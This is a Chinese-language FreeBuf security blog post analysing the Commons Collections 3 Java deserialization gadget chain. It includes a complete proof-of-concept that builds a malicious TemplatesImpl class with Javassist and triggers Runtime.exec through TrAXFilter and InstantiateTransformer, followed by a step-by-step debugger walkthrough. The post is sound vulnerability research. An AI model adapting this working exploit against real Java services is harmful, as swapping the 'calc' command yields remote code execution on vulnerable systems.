freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java安全之Commons Collections3分析
2020-10-21 18:14:29

0x00 前言

在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。

CC1的利用链是Map(Proxy).entrySet()触发AnnotationInvocationHandler.invoke(),而CC2链的利用链是通过InvokerTransformer.transform()调用newTransformer触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。

0x01 前置知识

在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。

InstantiateTransformer

首先还是查看一下构造方法。

1603274714_5f9007da0edea5914be85.png!small?1603274714097

在查看下面的代码的时候会发现他的transform方法非常的有意思。

1603274743_5f9007f718603254815fc.png!small?1603274743359

transform方法会去使用反射实例化一个对象并且返回。

TrAXFilter

查看TrAXFilter的构造方法,会发现更有意思的事情。

1603274758_5f900806981b202808558.png!small?1603274758922

_transformer = (TransformerImpl) templates.newTransformer();调用了传入参数的newTransformer()方法。在CC2链分析的时候,使用的是反射调用newTransformer,newTransformer调用defineTransletClasses()。最后再调用_class.newInstance()实例化_class对象。那么如果是使用TrAXFilter的话,就不需要InvokerTransformer的transform方法反射去调用了。

0x02 POC分析

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");


Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}

上面是一段POC代码,先来分析一下,POC为什么要这样去构造。

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes=payload.toBytecode();

先来执行一遍看一下执行的结果。

1603274770_5f900812716ee19bd6e59.png!small?1603274771053

能够执行成功并且弹出计算器。

其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。

Java安全之Commons Collections2分析

这里是采用了Javassist方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe"),设置完成后,将该类转换成字节码。

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});

Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");

反射获取TemplatesImpl类的_bytecodes成员变量,设置值为上面使用Javassist类转换后的字节码。

反射获取TemplatesImpl类的_name成员变量,设置值为test。

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

ConstantTransformer在调用transform方法的时候,会遍历的去调用数组里面transform方法。并且将执行结果传入到第二次遍历执行的参数里面。

1603274821_5f900845a2aeae44fd7d8.png!small?1603274821748

第一次执行this.iTransformers[i]为ConstantTransformer。所以,调用的是ConstantTransformer的transform方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class对象。

1603274864_5f900870dc01991b7012a.png!small?1603274865133

而在第二次遍历执行的时候传入的就是TrAXFilter.class对象,然后再反射的去获取方法,使用newInstance实例化一个对象并且进行返回。

1603274873_5f90087925e051ae7ed9f.png!small?1603274873434

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

这里是将上面构造好的ChainedTransformer的实例化对象,传入进去。在调用lazyMap的get方法的时候,就会去调用构造好的ChainedTransformer对象的transform方法。

1603274884_5f900884ee33dab1683d5.png!small?1603274885244

那么下面就会引出lazyMap的get方法的调用问题,再来看下面一段代码。

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);

反射创建了一个AnnotationInvocationHandler对象,传入Override.class和lazyMap的对象,并使用AnnotationInvocationHandler作为调用处理器,为lazyMap做一个动态代理。关于这里为什么要传入一个Override.class的问题,其实因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class还是Override.class都是可行的。

这的lazyMap作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke方法。AnnotationInvocationHandler实现了InvocationHandler,可以被当作调用处理器传入。而我们在这时候调用lazyMap的任意方法的话,就会执行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandler的invoke方法中就会调用get方法。

1603274892_5f90088c7d20990477c8f.png!small?1603274892711

在调用get方法后又回到了前面说到的地方,这里就会去调用transform方法去完成后面的命令执行。这里先不细说。

1603274905_5f9008992cf511fc64f86.png!small?1603274905188

在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。

0x03 CC3链调试

先在AnnotationInvocationHandler的readobject方法中去打个断点进行调试分析

1603274913_5f9008a1b9acf4b27ec15.png!small?1603274913882

在这里可以看到这里的this.memberValues的值为被代理的lazyMap的对象,调用了lazyMap的entrySet方法。那么这时候被代理对象的调用处理器的invoke方法会执行。前面说过使用的AnnotationInvocationHandler作为调用处理器,这里调用的就是AnnotationInvocationHandler的invoke方法,跟进一下invoke方法。

1603274924_5f9008ac3067385fc2972.png!small?1603274924535

invoke方法在内部调用了lazyMap的get方法,再来跟进一下get方法。

1603274930_5f9008b2079146dc41c0f.png!small?1603274930135

到这里其实就能看到了this.factory.transform(key);,调用了transform方法,在这里的this.factory为ChainedTransformer的实例化对象。再来跟进一下transform方法就能看到ChainedTransformer的transform内部的调用结构。

1603274936_5f9008b8b0d1fb1434297.png!small?1603274937362

在POC构造的时候为ChainedTransformer这个对象传入了一个数组,数组的第一值为ConstantTransformer实例化对象,第二个为InstantiateTransformer实例化对象。

所以在这里第一次遍历this.iTransformers[i]的值为ConstantTransformer。ConstantTransformer的transform会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter对象,所以在这里会直接进行返回TrAXFilter,并且会作为第二次遍历的传参值。

1603274943_5f9008bfe13c903142d1a.png!small?1603274944369

而在第二次遍历的时候,this.iTransformers[i]的值为InstantiateTransformer的实例化对象。所以调用的是InstantiateTransformer的transform方法并且传入了TrAXFilter对象。跟进一下InstantiateTransformer的transform方法。

1603274950_5f9008c6b7f03a0570c24.png!small?1603274950945

这里其实是比较有意思的,刚刚传入的是TrAXFilter对象,所以这里的input为TrAXFilter,this.iParamTypes为Templates,this.iArgs为构造好的恶意TemplatesImpl实例化对象。(这里之所以说他是恶意的TemplatesImpl对象是因为在前面使用反射将他的_bytecodes设置成了一个使用javassist动态创建的恶意类的字节码)。

该transform方法中使用getConstructor方法获取TrAXFilter参数为Templates的构造方法。

1603274958_5f9008ce7128524064a4c.png!small?1603274958659

使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl实例化对象。在该构造方法当中会调用TemplatesImpl的newTransformer方法。跟进一下newTransformer方法。

1603275026_5f9009127a7a447009e24.png!small?1603275026953

newTransformer方法内部调用了getTransletInstance方法再跟进一下。

1603275035_5f90091ba82905aadc76a.png!small?1603275035778

这里可以看到先是判断了_name的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name值的原因。

下面一步是判断_class是否为空,显然我们这里的_class值是null,这时候就会调用defineTransletClasses方法,跟进一下。

1603275045_5f90092587a5570a792b7.png!small?1603275045873

下面标注出来这段是_bytecodes对_class进行赋值,这里的_bytecodes的值是使用javassist动态创建的恶意类的字节码 执行完后,来到下一步。

1603275054_5f90092eb53880618a3c6.png!small?16032750548221603275062_5f900936be9412ca9ff48.png!small?1603275063128这里会对该字节码进行调用newInstance方法实例化一个对象,然后就可以看到命令执行成功。

1603275116_5f90096caffae9060dac8.png!small?1603275117194

关于这个为什么调用newInstance实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist动态创建一个类的时候,他是怎么去构造的。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");

先将该类写出来到文件中,然后再去查看。

1603275139_5f9009831f5613e712933.png!small?1603275139116

看到这个其实就一目了然了,使用setBody设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。

调用链

AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 结尾

其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。

在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了,害。

# 漏洞分析,WEB安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录